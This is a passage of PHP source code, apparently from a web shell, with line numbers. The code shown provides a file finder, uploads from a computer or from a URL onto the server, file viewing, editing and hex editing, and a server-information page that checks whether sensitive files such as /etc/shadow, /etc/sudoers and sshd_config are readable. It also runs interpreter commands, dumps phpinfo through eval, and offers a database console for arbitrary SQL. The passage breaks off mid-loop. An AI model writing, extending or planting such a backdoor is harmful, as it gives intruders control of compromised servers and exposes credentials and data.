  1305.                         $s_sffcontent = @file_get_contents($s_a);
  1306.                         if($s_sfcontainregex){
  1307.                             if($s_sfcontainicase){if(!preg_match("/".$s_sfcontain."/i", $s_sffcontent)) $s_candidate = array_diff($s_candidate,array($s_a));}
  1308.                             else{if(!preg_match("/".$s_sfcontain."/",  $s_sffcontent)) $s_candidate = array_diff($s_candidate,array($s_a));}
  1309.                         }
  1310.                         else{
  1311.                             if($s_sfcontainicase){if(strpos(strtolower($s_sffcontent),strtolower($s_sfcontain))===false) $s_candidate = array_diff($s_candidate,array($s_a));}
  1312.                             else{if(strpos($s_sffcontent,$s_sfcontain)===false) $s_candidate = array_diff($s_candidate,array($s_a));}
  1313.                         }
  1314.                     }
  1315.                 }
  1316.             }
  1317.         }
  1318.  
  1319.         $s_f_result = "";$s_link="";
  1320.         foreach($s_candidate as $s_c){
  1321.             $s_c=trim($s_c);
  1322.             if($s_swritable && !is_writable($s_c)) continue;
  1323.             if($s_sreadable && !is_readable($s_c)) continue;
  1324.             if($s_sexecutable && !is_executable($s_c)) continue;
  1325.             if($s_type=="sfile") $s_link = $s_self."cd=".cp(dirname($s_c))."&view=".basename($s_c);
  1326.             elseif($s_type=="sdir") $s_link = $s_self."cd=".cp($s_c);
  1327.             $s_f_result .= "<p class='notif' ondblclick=\"return go('".addslashes($s_link)."',event);\"><a href='".$s_link."' onclick='return false;'>".$s_c."</a></p>";
  1328.         }
  1329.  
  1330.         $s_tsdir = ($s_type=="sdir")? "selected":"";
  1331.         $s_tsfile = ($s_type=="sfile")? "selected":"";
  1332.  
  1333.         if(!is_dir($s_p)) $s_result .= "<p class='notif'>Cannot find the path specified ".$s_p."</p>";
  1334.         $s_result .= "<form action='".$s_self."' method='post'>
  1335.         <div class='mybox'><h2>Find</h2>
  1336.         <table class='myboxtbl'>
  1337.         <tr><td style='width:140px;'>Search in</td>
  1338.         <td colspan='2'><input style='width:100%;' value='".hss($s_p)."' class='inputz' type='text' name='find' /></td></tr>
  1339.         <tr onclick=\"findtype('sdir');\">
  1340.             <td>Dirname contains</td>
  1341.             <td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sdname' value='".hss($s_sdname)."' /></td>
  1342.             <td>
  1343.                 <input type='checkbox' class='css-checkbox' name='sdnameregex' id='sdn' ".$s_sdnameregexchecked." /><label class='css-label' for='sdn'>Regex (pcre)</label>
  1344.                 <input type='checkbox' class='css-checkbox' name='sdnameicase' id='sdi' ".$s_sdnameicasechecked." /><label class='css-label' for='sdi'>Case Insensitive</label>
  1345.             </td>
  1346.         </tr>
  1347.         <tr onclick=\"findtype('sfile');\">
  1348.             <td>Filename contains</td>
  1349.             <td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfname' value='".hss($s_sfname)."' /></td>
  1350.             <td>
  1351.                 <input type='checkbox' class='css-checkbox' name='sfnameregex'  id='sfn' ".$s_sfnameregexchecked." /><label class='css-label' for='sfn'>Regex (pcre)</label>
  1352.                 <input type='checkbox' class='css-checkbox' name='sfnameicase'  id='sfi' ".$s_sfnameicasechecked." /><label class='css-label' for='sfi'>Case Insensitive</label>
  1353.             </td>
  1354.         </tr>
  1355.         <tr onclick=\"findtype('sfile');\">
  1356.             <td>File contains</td>
  1357.             <td style='width:400px;'><input class='inputz' style='width:100%;' type='text' name='sfcontain' value='".hss($s_sfcontain)."' /></td>
  1358.             <td>
  1359.                 <input type='checkbox' class='css-checkbox' name='sfcontainregex' id='sff' ".$s_sfcontainregexchecked." /><label class='css-label' for='sff'>Regex (pcre)</label>
  1360.                 <input type='checkbox' class='css-checkbox' name='sfcontainicase' id='sffi' ".$s_sfcontainicasechecked." /><label class='css-label' for='sffi'>Case Insensitive</label>
  1361.             </td>
  1362.         </tr>
  1363.         <tr>
  1364.             <td>Permissions</td>
  1365.             <td colspan='2'>
  1366.                 <input type='checkbox' class='css-checkbox' name='swritable' id='sw' ".$s_swritablechecked." /><label class='css-label' for='sw'>Writable</label>
  1367.                 <input type='checkbox' class='css-checkbox' name='sreadable' id='sr' ".$s_sreadablechecked." /><label class='css-label' for='sr'>Readable</label>
  1368.                 ".$s_sexecb."
  1369.             </td>
  1370.         </tr>
  1371.         <tr><td>
  1372.         <input type='submit' name='sgo' class='inputzbut' value='Search !' style='width:120px;height:30px;margin:0;' />
  1373.         </td>
  1374.         <td>
  1375.         <select name='type' id='type' class='inputzbut' style='width:120px;height:30px;margin:0;padding:4px;'>
  1376.             <option value='sfile' ".$s_tsfile.">Search file</option>
  1377.             <option value='sdir' ".$s_tsdir.">Search dir</option>
  1378.         </select>
  1379.         </td>
  1380.         <td></td></tr>
  1381.         </table>
  1382.         </div>
  1383.         </form>
  1384.         <div>
  1385.         ".$s_f_result."
  1386.         </div>
  1387.         ";
  1388.     }
  1389.     // upload !
  1390.     elseif(isset($_REQUEST['x']) && ($_REQUEST['x']=='upload')){
  1391.         $s_result = " ";
  1392.         $s_msg = "";
  1393.         if(isset($_REQUEST['uploadhd'])){
  1394.             $s_fn = $_FILES['filepath']['name'];
  1395.             if(is_uploaded_file($_FILES['filepath']['tmp_name'])){
  1396.                 $s_p = cp(ss($_REQUEST['savefolder']));
  1397.                 if(!is_dir($s_p)) $s_p = cp(dirname($s_p));
  1398.                 if(isset($_REQUEST['savefilename']) && (trim($_REQUEST['savefilename'])!="")) $s_fn = ss($_REQUEST['savefilename']);
  1399.                 $s_tm = $_FILES['filepath']['tmp_name'];
  1400.                 $s_pi = cp($s_p).$s_fn;
  1401.                 $s_st = @move_uploaded_file($s_tm,$s_pi);
  1402.                 if($s_st)   $s_msg = "<p class='notif'>File uploaded to <a href='".$s_self."view=".basename($s_pi)."' onclick='return false;'>".$s_pi."</a></p>";
  1403.                 else $s_msg = "<p class='notif'>Failed to upload ".$s_fn."</p>";
  1404.             }
  1405.             else $s_msg = "<p class='notif'>Failed to upload ".$s_fn."</p>";
  1406.         }
  1407.         elseif(isset($_REQUEST['uploadurl'])){
  1408.             // function dlfile($s_url,$s_fpath){
  1409.             $s_p = cp(ss($_REQUEST['savefolderurl']));
  1410.             if(!is_dir($s_p)) $s_p = cp(dirname($s_p));
  1411.             $s_fu = ss($_REQUEST['fileurl']);
  1412.             $s_fn = basename($s_fu);
  1413.             if(isset($_REQUEST['savefilenameurl']) && (trim($_REQUEST['savefilenameurl'])!="")) $s_fn = ss($_REQUEST['savefilenameurl']);
  1414.             $s_fp = cp($s_p).$s_fn;
  1415.             $s_st = dlfile($s_fu,$s_fp);
  1416.             if($s_st) $s_msg = "<p class='notif'>File uploaded to <a href='".$s_self."view=".basename($s_fp)."' onclick='return false;'>".$s_fp."</a></p>";
  1417.             else $s_msg = "<p class='notif'>Failed to upload ".$s_fn."</p>";
  1418.         }
  1419.         else{
  1420.             if(!is_writable($s_cwd)) $s_msg = "<p class='notif'>Directory ".$s_cwd." is not writable, please change to a writable one</p>";
  1421.         }
  1422.  
  1423.         if(!empty($s_msg)) $s_result .= $s_msg;
  1424.         $s_result .= "
  1425.             <form action='".$s_self."' method='post' enctype='multipart/form-data'>
  1426.             <div class='mybox'><h2>Upload from computer</h2>
  1427.             <table class='myboxtbl'>
  1428.             <tr><td style='width:140px;'>File</td><td><input type='file' name='filepath' class='inputzbut' style='width:400px;margin:0;' />
  1429.             </td></tr>
  1430.             <tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolder' value='".$s_cwd."' /></td></tr>
  1431.             <tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilename' value='' /></td></tr>
  1432.             <tr><td> </td><td>
  1433.             <input type='submit' name='uploadhd' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  1434.             <input type='hidden' name='x' value='upload' />
  1435.             </td></tr>
  1436.             </table>
  1437.             </div>
  1438.             </form>
  1439.             <form action='".$s_self."' method='post'>
  1440.             <div class='mybox'><h2>Upload from internet</h2>
  1441.             <table class='myboxtbl'>
  1442.             <tr><td style='width:150px;'>File URL</td><td><input style='width:100%;' class='inputz' type='text' name='fileurl' value='' />
  1443.             </td></tr>
  1444.             <tr><td>Save to</td><td><input style='width:100%;' class='inputz' type='text' name='savefolderurl' value='".$s_cwd."' /></td></tr>
  1445.             <tr><td>Filename (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='savefilenameurl' value='' /></td></tr>
  1446.             <tr><td> </td><td>
  1447.             <input type='submit' name='uploadurl' class='inputzbut' value='Upload !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
  1448.             <input type='hidden' name='x' value='upload' />
  1449.             </td></tr>
  1450.             </table>
  1451.             </div>
  1452.             </form>
  1453.             ";
  1454.     } // view file
  1455.     elseif(isset($_REQUEST['view'])){
  1456.         $s_f = ss($_REQUEST['view']);
  1457.         if(isset($s_fnew) && (trim($s_fnew)!="")) $s_f = $s_fnew;
  1458.         $s_owner = "";
  1459.         if(is_file($s_f)){
  1460.             if(!$s_win && $s_posix){
  1461.                 $s_name = posix_getpwuid(fileowner($s_f));
  1462.                 $s_group = posix_getgrgid(filegroup($s_f));
  1463.                 $s_owner = "<tr><td>Owner</td><td>".$s_name['name']."<span class='gaya'>:</span>".$s_group['name']."</td></tr>";
  1464.             }
  1465.             $s_filn = basename($s_f);
  1466.             $s_dlfile = get_archiver_available();
  1467.             $s_dlfile = str_replace("__dlpath__",$s_filn,$s_dlfile);
  1468.             $s_dlfile = str_replace("__dlcwd__",$s_cwd,$s_dlfile);
  1469.             $s_result .= "<table class='viewfile' style='width:100%;'>
  1470.             <tr><td style='width:140px;'>Filename</td><td><span id='".cs($s_filn)."_link'>".$s_filn."</span>
  1471.             <div id='".cs($s_filn)."_form' class='sembunyi'>
  1472.             <form action='".$s_self."' method='post'>
  1473.                 <input type='hidden' name='oldname' value='".$s_filn."' style='margin:0;padding:0;' />
  1474.                 <input type='hidden' name='view' value='".basename($s_f)."' />
  1475.                 <input class='inputz' style='width:200px;' type='text' name='newname' value='".$s_filn."' />
  1476.                 <input class='inputzbut' type='submit' name='rename' value='rename' />
  1477.             </form>
  1478.             <input class='inputzbut' type='button' value='x' onclick=\"tukar('".cs($s_filn)."_form','".cs($s_filn)."_link');\" />
  1479.             </div>
  1480.             </td></tr>
  1481.             <tr><td>Size</td><td>".gs($s_f)." (".@filesize($s_f).")</td></tr>
  1482.             <tr><td>Permission</td><td>".gp($s_f)."</td></tr>
  1483.             ".$s_owner."
  1484.             <tr><td>Create time</td><td>".@date("d-M-Y H:i:s",filectime($s_f))."</td></tr>
  1485.             <tr><td>Last modified</td><td>".@date("d-M-Y H:i:s",filemtime($s_f))."</td></tr>
  1486.             <tr><td>Last accessed</td><td>".@date("d-M-Y H:i:s",fileatime($s_f))."</td></tr>
  1487.             <tr><td>Actions</td><td>
  1488.             <a href='".$s_self."edit=".realpath($s_f)."' title='edit' onclick='return false;'>edit</a> |
  1489.             <a href='".$s_self."hexedit=".realpath($s_f)."' title='edit as hex' onclick='return false;'>hex</a> |
  1490.             <a href=\"javascript:tukar('".cs($s_filn)."_link','".cs($s_filn)."_form');\" title='rename'>ren</a> |
  1491.             <a href='".$s_self."del=".$s_filn."' title='delete' onclick='return false;'>del</a> ".$s_dlfile."
  1492.             </td></tr>
  1493.             <tr><td>View</td><td>
  1494.             <a href='".$s_self."view=".$s_filn."&type=text' onclick='return false;'>text</a> |
  1495.             <a href='".$s_self."view=".$s_filn."&type=code' onclick='return false;'>code</a> |
  1496.             <a href='".$s_self."view=".$s_filn."&type=image' onclick='return false;'>image</a> |
  1497.             <a href='".$s_self."view=".$s_filn."&type=audio' onclick='return false;'>audio</a> |
  1498.             <a href='".$s_self."view=".$s_filn."&type=video' onclick='return false;'>video</a>
  1499.             </td></tr>
  1500.             </table>
  1501.             ";
  1502.  
  1503.             $s_t = "";
  1504.  
  1505.             $s_mime = "";
  1506.             $s_mime_list = gzinflate(base64_decode($s_mime_types));
  1507.             $s_ext = trim(substr($s_f, strrpos($s_f, ".")),".");
  1508.             if(preg_match("/([^\s]+)\ .*$s_ext.*/i",$s_mime_list,$s_r)){
  1509.                 $s_mime = $s_r[1];
  1510.             }
  1511.  
  1512.             $s_iinfo = @getimagesize($s_f);
  1513.             if(strtolower(substr($s_filn,-3,3)) == "php") $s_t = "code";
  1514.             elseif(is_array($s_iinfo)) $s_t = 'image';
  1515.             elseif(!empty($s_mime)) $s_t = substr($s_mime,0,strpos($s_mime,"/"));
  1516.  
  1517.             if(isset($_REQUEST['type'])) $s_t = ss($_REQUEST['type']);
  1518.  
  1519.             if($s_t=="image"){
  1520.                 $s_width = (int) $s_iinfo[0];
  1521.                 $s_height = (int) $s_iinfo[1];
  1522.                 $s_imginfo = "Image type = ( ".$s_iinfo['mime']." )<br />
  1523.                     Image Size = <span class='gaul'>( </span>".$s_width." x ".$s_height."<span class='gaul'> )</span><br />";
  1524.                 if($s_width > 800){
  1525.                     $s_width = 800;
  1526.                     $s_imglink = "<p><a href='".$s_self."img=".$s_filn."' onclick='return false;'>
  1527.                     <span class='gaul'>[ </span>view full size<span class='gaul'> ]</span></a></p>";
  1528.                 }
  1529.                 else $s_imglink = "";
  1530.  
  1531.                 $s_result .= "<div class='viewfilecontent' style='text-align:center;'>".$s_imglink."
  1532.                     <img width='".$s_width."' src='".$s_self."img=".$s_filn."' alt='".$s_filn."' style='margin:8px auto;padding:0;border:0;' /></div>";
  1533.  
  1534.             }
  1535.             elseif($s_t=="code"){
  1536.                 $s_result .= "<div class=\"viewfilecontent\">";
  1537.                 $s_file = wordwrap(@file_get_contents($s_f),160,"\
  1538. ",true);
  1539.                 $s_buff = highlight_string($s_file,true);
  1540.                 $s_old = array("0000BB","000000","FF8000","DD0000", "007700");
  1541.                 $s_new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000");
  1542.                 $s_buff = str_replace($s_old,$s_new, $s_buff);
  1543.                 $s_result .= $s_buff;
  1544.                 $s_result .=  "</div>";
  1545.             }
  1546.             elseif($s_t=="audio" || $s_t=="video"){
  1547.                 $s_result .= "<div class='viewfilecontent' style='text-align:center;'>
  1548.                             <".$s_t." controls>
  1549.                             <source src='".$s_self."dltype=raw&dlpath=".$s_f."' type='".$s_mime."'>
  1550.                                 <object data='".$s_self."dltype=raw&dlpath=".$s_f."'>
  1551.                                     <embed src='".$s_self."dltype=raw&dlpath=".$s_f."'>
  1552.                                 </object>
  1553.                             </".$s_t.">
  1554.                     </div>";
  1555.             }
  1556.             else {
  1557.                 $s_result .= "<pre style='padding: 3px 8px 0 8px;' class='viewfilecontent'>";
  1558.                 $s_result .=  str_replace("<","<",str_replace(">",">",(wordwrap(@file_get_contents($s_f),160,"\
  1559. ",true))));
  1560.                 $s_result .=   "</pre>";
  1561.             }
  1562.         }
  1563.         elseif(is_dir($s_f)){
  1564.             chdir($s_f);
  1565.             $s_cwd = cp(getcwd());
  1566.             $s_result .= showdir($s_cwd);
  1567.         }
  1568.         else $s_result .= "<p class='notif'>Cannot find the path specified ".$s_f."</p>";
  1569.  
  1570.     } // edit file
  1571.     elseif(isset($_REQUEST['edit'])){
  1572.         $s_f = ss($_REQUEST['edit']);
  1573.         $s_fc = "";
  1574.         $s_fcs = "";
  1575.  
  1576.         if(isset($_REQUEST['new']) && ($_REQUEST['new']=='yes')){
  1577.             $s_num = 1;
  1578.             if(is_file($s_f)){
  1579.                 $s_pos = strrpos($s_f,"_");
  1580.                 if($s_pos!==false) $s_num = (int) substr($s_f,$s_pos+1);
  1581.                 while(is_file(substr($s_f,0,$s_pos)."_".$s_num)){
  1582.                     $s_num++;
  1583.                 }
  1584.                 $s_f = substr($s_f,0,$s_pos)."_".$s_num;
  1585.             }
  1586.         }
  1587.         else if(is_file($s_f)) $s_fc = @file_get_contents($s_f);
  1588.  
  1589.  
  1590.         if(isset($_REQUEST['fc'])){
  1591.             $s_fc = ssc($_REQUEST['fc']);
  1592.             if($s_filez = fopen($s_f,"w")){
  1593.                 $s_time = @date("d-M-Y H:i:s",time());
  1594.                 if(fwrite($s_filez,$s_fc)!==false) $s_fcs = "File saved @ ".$s_time;
  1595.                 else $s_fcs = "Failed to save";
  1596.                 fclose($s_filez);
  1597.             }
  1598.             else $s_fcs = "Permission denied";
  1599.         }
  1600.         else if(is_file($s_f) && !is_writable($s_f)) $s_fcs = "This file is not writable";
  1601.  
  1602.         if(!empty($s_fcs)) $s_result .= "<p class='notif'>".$s_fcs."</p>";
  1603.         $s_result .= "<form action='".$s_self."' method='post'>
  1604.                 <textarea id='fc' name='fc' class='txtarea'>".hss($s_fc)."</textarea>
  1605.                 <p style='text-align:center;'><input type='text' class='inputz' style='width:99%;' name='edit' value='".$s_f."' /></p>
  1606.                 <p><input type='submit' name='fcsubmit' class='inputzbut' value='Save !' style='width:120px;height:30px;' /></p>
  1607.                 </form>";
  1608.  
  1609.     }// hex edit file
  1610.     elseif(isset($_REQUEST['hexedit'])){
  1611.         $s_f = ss($_REQUEST['hexedit']);
  1612.         $s_fc = "";
  1613.         $s_fcs = "";
  1614.         $s_lnum = 0;
  1615.         $s_hexes = "";
  1616.  
  1617.         if(!empty($_REQUEST['hexes']) || !empty($_REQUEST['hexestxtarea'])){
  1618.             if(!empty($_REQUEST['hexes'])){
  1619.                 foreach($_REQUEST['hexes'] as $s_hex)   $s_hexes .= str_replace(" ","", $s_hex);
  1620.             }
  1621.             elseif(!empty($_REQUEST['hexestxtarea'])){
  1622.                 $s_hexes = trim($_REQUEST['hexestxtarea']);
  1623.             }
  1624.             if($s_filez = fopen($s_f,"w")){
  1625.                     $s_bins = pack("H*" , $s_hexes);
  1626.                     $s_time = @date("d-M-Y H:i:s",time());
  1627.                     if(fwrite($s_filez,$s_bins)!==false) $s_fcs = "File saved @ ".$s_time;
  1628.                     else $s_fcs = "Failed to save";
  1629.                     fclose($s_filez);
  1630.                 }
  1631.             else $s_fcs = "Permission denied";
  1632.         }
  1633.         else if(is_file($s_f) && !is_writable($s_f)) $s_fcs = "This file is not writable";
  1634.  
  1635.         if(!empty($s_fcs)) $s_result .= "<p class='notif'>".$s_fcs."</p>";
  1636.         $s_result .= "<form action='".$s_self."' method='post'>
  1637.                     <p style='padding:0;text-align:center;'><input type='text' class='inputz' style='width:99%;' name='hexedit' value='".$s_f."' /></p>
  1638.                     <p style='padding:0 0 14px 0;border-bottom:1px solid #393939;'><input type='submit' name='fcsubmit' class='inputzbut' value='Save !' style='width:120px;height:30px;' onclick=\"return submithex();\" /></p>
  1639.                     <table class='explore'>
  1640.                     ";
  1641.         if(is_file($s_f)){
  1642.             $s_fp = fopen($s_f,"r");
  1643.             if($s_fp) {
  1644.                 $s_ldump = "";
  1645.                 $s_counter = 0;
  1646.                 $s_icounter = 0;
  1647.                 while(!feof($s_fp)){
  1648.                     $s_line = fread($s_fp, 32);
  1649.                     $s_linedump = preg_replace('/[^\x21-\x7E]/','.', $s_line);
  1650.                     $s_linedump = str_replace(">",".",$s_linedump);
  1651.                     $s_linedump = str_replace("<",".",$s_linedump);
  1652.                     $s_linehex = strtoupper(bin2hex($s_line));
  1653.                     $s_linex = str_split($s_linehex,2);
  1654.                     $s_linehex = implode(" ", $s_linex);
  1655.                     $s_addr = sprintf("%08xh",$s_icounter);
  1656.  
  1657.                     $s_result .= "<tr><td style='text-align:center;width:60px;'>".$s_addr."</td><td style='text-align:left;width:580px;'>
  1658.                     <input onclick=\"hexupdate('".$s_counter."',event);\" onkeydown=\"return hexfix('".$s_counter."',event);\" onkeyup=\"hexupdate('".$s_counter."',event);\" type='text' class='inputz' id='hex_".$s_counter."' name='hexes[]' value='".$s_linehex."' style='width:570px;' maxlength='".strlen($s_linehex)."' /></td>
  1659.                     <td style='text-align:left;letter-spacing:2px;'>
  1660.                     <pre name='hexdump' id='dump_".$s_counter."' style='margin:0;padding:0;'>".$s_linedump."</pre></td></tr>";
  1661.                     $s_counter++;
  1662.                     $s_icounter+=32;
  1663.                 }
  1664.                 $s_result .= "<input type='hidden' id='counter' value='".$s_counter."' />";
  1665.                 $s_result .= "<textarea name='hexestxtarea' id='hexestxtarea' class='sembunyi'></textarea>";
  1666.                 fclose($s_fp);
  1667.             }
  1668.         }
  1669.         $s_result .= "</table></form>";
  1670.  
  1671.     }// show server information
  1672.     elseif(isset($_REQUEST['x']) && ($_REQUEST['x']=='info')){
  1673.         $s_result = "";
  1674.         // server misc info
  1675.         $s_result .= "<p class='notif' onclick=\"toggle('info_server')\">Server Info</p>";
  1676.         $s_result .= "<div class='info' id='info_server'><table>";
  1677.  
  1678.         if($s_win){
  1679.             foreach (range("A","Z") as $s_letter){
  1680.                 if((is_dir($s_letter.":\\") && is_readable($s_letter.":\\"))){
  1681.                     $s_drive = $s_letter.":";
  1682.                     $s_result .= "<tr><td>drive ".$s_drive."</td><td>".ts(disk_free_space($s_drive))." free of ".ts(disk_total_space($s_drive))."</td></tr>";
  1683.                 }
  1684.             }
  1685.         }
  1686.         else $s_result .= "<tr><td>root partition</td><td>".ts(disk_free_space("/"))." free of ".ts(disk_total_space("/"))."</td></tr>";
  1687.  
  1688.         $s_result .= "<tr><td>php</td><td>".phpversion()."</td></tr>";
  1689.         if($s_python) $s_result .= "<tr><td>python</td><td>".exe("python -V")."</td></tr>";
  1690.         if($s_perl) $s_result .= "<tr><td>perl</td><td>".exe("perl -e \"print \$s_]\"")."</td></tr>";
  1691.         if($s_ruby) $s_result .= "<tr><td>ruby</td><td>".exe("ruby -v")."</td></tr>";
  1692.         if($s_gcc){
  1693.             $s_gcc_version = exe("gcc --version");
  1694.             $s_gcc_ver = explode("\
  1695. ",$s_gcc_version);
  1696.             if(count($s_gcc_ver)>0) $s_gcc_ver = $s_gcc_ver[0];
  1697.             $s_result .= "<tr><td>gcc</td><td>".$s_gcc_ver."</td></tr>";
  1698.         }
  1699.         if($s_java) $s_result .= "<tr><td>java</td><td>".str_replace("\
  1700. ", ", ", exe("java -version"))."</td></tr>";
  1701.  
  1702.         $s_interesting = array(
  1703.         "/etc/passwd", "/etc/shadow", "/etc/group", "/etc/issue", "/etc/motd", "/etc/sudoers", "/etc/hosts", "/etc/aliases", "/etc/resolv.conf", "/etc/sysctl.conf",
  1704.         "/etc/named.conf", "/etc/network/interfaces", "/etc/squid/squid.conf", "/usr/local/squid/etc/squid.conf",
  1705.         "/etc/ssh/sshd_config",
  1706.         "/etc/httpd/conf/httpd.conf", "/usr/local/apache2/conf/httpd.conf"," /etc/apache2/apache2.conf", "/etc/apache2/httpd.conf", "/usr/pkg/etc/httpd/httpd.conf", "/usr/local/etc/apache22/httpd.conf", "/usr/local/etc/apache2/httpd.conf", "/var/www/conf/httpd.conf", "/etc/apache2/httpd2.conf", "/etc/httpd/httpd.conf",
  1707.         "/etc/lighttpd/lighttpd.conf", "/etc/nginx/nginx.conf",
  1708.         "/etc/fstab", "/etc/mtab", "/etc/crontab", "/etc/inittab", "/etc/modules.conf", "/etc/modules");
  1709.         foreach($s_interesting as $s_f){
  1710.             if(is_file($s_f) && is_readable($s_f))
  1711.                 $s_result .= "<tr><td>".$s_f."</td><td><a href='".$s_self."view=".$s_f."' onclick='return false;'>".$s_f." is readable</a></td></tr>";
  1712.         }
  1713.  
  1714.  
  1715.         $s_result .= "</table></div>";
  1716.  
  1717.         if(!$s_win){
  1718.             // cpu info
  1719.             if($s_i_buff=trim(@file_get_contents("/proc/cpuinfo"))){
  1720.                 $s_result .= "<p class='notif' onclick=\"toggle('info_cpu')\">CPU Info</p>";
  1721.                 $s_result .= "<div class='info' id='info_cpu'>";
  1722.                 $s_i_buffs = explode("\
  1723. \
  1724. ", $s_i_buff);
  1725.                 foreach($s_i_buffs as $s_i_buffss){
  1726.                     $s_i_buffss = trim($s_i_buffss);
  1727.                     if($s_i_buffss!=""){
  1728.                         $s_i_buffsss = explode("\
  1729. ",$s_i_buffss);
  1730.                         $s_result .= "<table>";
  1731.                         foreach($s_i_buffsss as $s_i){
  1732.                             $s_i = trim($s_i);
  1733.                             if($s_i!=""){
  1734.                                 $s_ii = explode(":",$s_i);
  1735.                                 if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
  1736.                             }
  1737.                         }
  1738.                         $s_result .= "</table>";
  1739.                     }
  1740.                 }
  1741.                 $s_result .= "</div>";
  1742.             }
  1743.             // mem info
  1744.             if($s_i_buff=trim(@file_get_contents("/proc/meminfo"))){
  1745.                 $s_result .= "<p class='notif' onclick=\"toggle('info_mem')\">Memory Info</p>";
  1746.                 $s_i_buffs = explode("\
  1747. ",$s_i_buff);
  1748.                 $s_result .= "<div class='info' id='info_mem'><table>";
  1749.                 foreach($s_i_buffs as $s_i){
  1750.                     $s_i = trim($s_i);
  1751.                     if($s_i!=""){
  1752.                         $s_ii = explode(":",$s_i);
  1753.                         if(count($s_ii)==2) $s_result .= "<tr><td>".$s_ii[0]."</td><td>".$s_ii[1]."</td></tr>";
  1754.                     }
  1755.                     else $s_result .= "</table><table>";
  1756.                 }
  1757.                 $s_result .= "</table></div>";
  1758.             }
  1759.             // partition
  1760.             if($s_i_buff=trim(@file_get_contents("/proc/partitions"))){
  1761.                 $s_i_buff = preg_replace("/\ +/"," ",$s_i_buff);
  1762.                 $s_result .= "<p class='notif' onclick=\"toggle('info_part')\">Partitions Info</p>";
  1763.                 $s_result .= "<div class='info' id='info_part'>";
  1764.                 $s_i_buffs = explode("\
  1765. \
  1766. ", $s_i_buff);
  1767.                 $s_result .= "<table><tr>";
  1768.                 $s_i_head = explode(" ",$s_i_buffs[0]);
  1769.                 foreach($s_i_head as $s_h) $s_result .= "<th>".$s_h."</th>";
  1770.                 $s_result .= "</tr>";
  1771.                 $s_i_buffss = explode("\
  1772. ", $s_i_buffs[1]);
  1773.                 foreach($s_i_buffss as $s_i_b){
  1774.                     $s_i_row = explode(" ",trim($s_i_b));
  1775.                     $s_result .= "<tr>";
  1776.                     foreach($s_i_row as $s_r) $s_result .= "<td style='text-align:center;'>".$s_r."</td>";
  1777.                     $s_result .= "</tr>";
  1778.                 }
  1779.                 $s_result .= "</table>";
  1780.                 $s_result .= "</div>";
  1781.             }
  1782.         }
  1783.         $s_phpinfo = array(
  1784.             "PHP General" => INFO_GENERAL,
  1785.             "PHP Configuration" => INFO_CONFIGURATION,
  1786.             "PHP Modules" => INFO_MODULES,
  1787.             "PHP Environment" => INFO_ENVIRONMENT,
  1788.             "PHP Variables" => INFO_VARIABLES
  1789.         );
  1790.         foreach($s_phpinfo as $s_p=>$s_i){
  1791.             $s_result .= "<p class='notif' onclick=\"toggle('".$s_i."')\">".$s_p."</p>";
  1792.             ob_start();
  1793.             eval("phpinfo(".$s_i.");");
  1794.             $s_b = ob_get_contents();
  1795.             ob_end_clean();
  1796.             $s_a = strpos($s_b,"<body>")+6;
  1797.             $s_z = strpos($s_b,"</body>");
  1798.             $s_body = substr($s_b,$s_a,$s_z-$s_a);
  1799.             $s_body = str_replace(",",", ",$s_body);
  1800.             $s_body = str_replace("&","&",$s_body);
  1801.             $s_body = str_replace(";","; ",$s_body);
  1802.             $s_result .= "<div class='info' id='".$s_i."'>".$s_body."</div>";
  1803.         }
  1804.     } // working with database
  1805.     elseif(isset($_REQUEST['x']) && ($_REQUEST['x']=='db')){
  1806.         // sqltype : mysql, mssql, oracle, pgsql, odbc, pdo
  1807.         $s_sqlhost = isset($_REQUEST['sqlhost'])? ssc($_REQUEST['sqlhost']) : "";
  1808.         $s_sqlport = isset($_REQUEST['sqlport'])? ssc($_REQUEST['sqlport']) : "";
  1809.         $s_sqluser = isset($_REQUEST['sqluser'])? ssc($_REQUEST['sqluser']) : "";
  1810.         $s_sqlpass = isset($_REQUEST['sqlpass'])? ssc($_REQUEST['sqlpass']) : "";
  1811.         $s_sqltype = isset($_REQUEST['sqltype'])? ssc($_REQUEST['sqltype']) : "";
  1812.         $s_show_form = true;
  1813.         $s_show_dbs = true;
  1814.  
  1815.         if(isset($_REQUEST['connect'])){
  1816.             $s_con = sql_connect($s_sqltype,$s_sqlhost,$s_sqluser,$s_sqlpass);
  1817.             $s_sqlcode = isset($_REQUEST['sqlcode']) ? urldecode(ssc($_REQUEST['sqlcode'])) : "";
  1818.  
  1819.             if($s_con!==false){
  1820.                 $s_show_form = false;
  1821.                 $s_result .= "<form action='".$s_self."' method='post'>
  1822.                     <input type='hidden' name='sqlhost' value='".$s_sqlhost."' />
  1823.                     <input type='hidden' name='sqlport' value='".$s_sqlport."' />
  1824.                     <input type='hidden' name='sqluser' value='".$s_sqluser."' />
  1825.                     <input type='hidden' name='sqlpass' value='".$s_sqlpass."' />
  1826.                     <input type='hidden' name='sqltype' value='".$s_sqltype."' />
  1827.                     <input type='hidden' name='x' value='db' />
  1828.                     <input type='hidden' name='connect' value='connect' />
  1829.                     <textarea id='sqlcode' name='sqlcode' class='txtarea' style='height:150px;'>".$s_sqlcode."</textarea>
  1830.                     <p><input type='submit' name='gogo' class='inputzbut' value='Ruqyah' style='width:120px;height:30px;' />
  1831.                       Separate multiple commands with a semicolon  <span class='gaya'>[</span> ; <span class='gaya'>]</span></p>
  1832.                     </form>";
  1833.  
  1834.                 if(!empty($s_sqlcode)){
  1835.                     $s_querys = explode(";",$s_sqlcode);
  1836.                     foreach($s_querys as $s_query){
  1837.                         if(trim($s_query) != ""){
  1838.                             $s_hasil = sql_query($s_sqltype,$s_query,$s_con);
  1839.                             if($s_hasil!=false){
  1840.                                 $s_result .= "<p style='padding:0;margin:6px 10px;font-weight:bold;'>".$s_query.";   
  1841.                                 <span class='gaya'>[</span> ok <span class='gaya'>]</span></p>
  1842.                                 <table class='explore sortable' style='width:100%;'><tr>";
  1843.                                 for($s_i=0;$s_i<sql_num_fields($s_sqltype,$s_hasil);$s_i++)
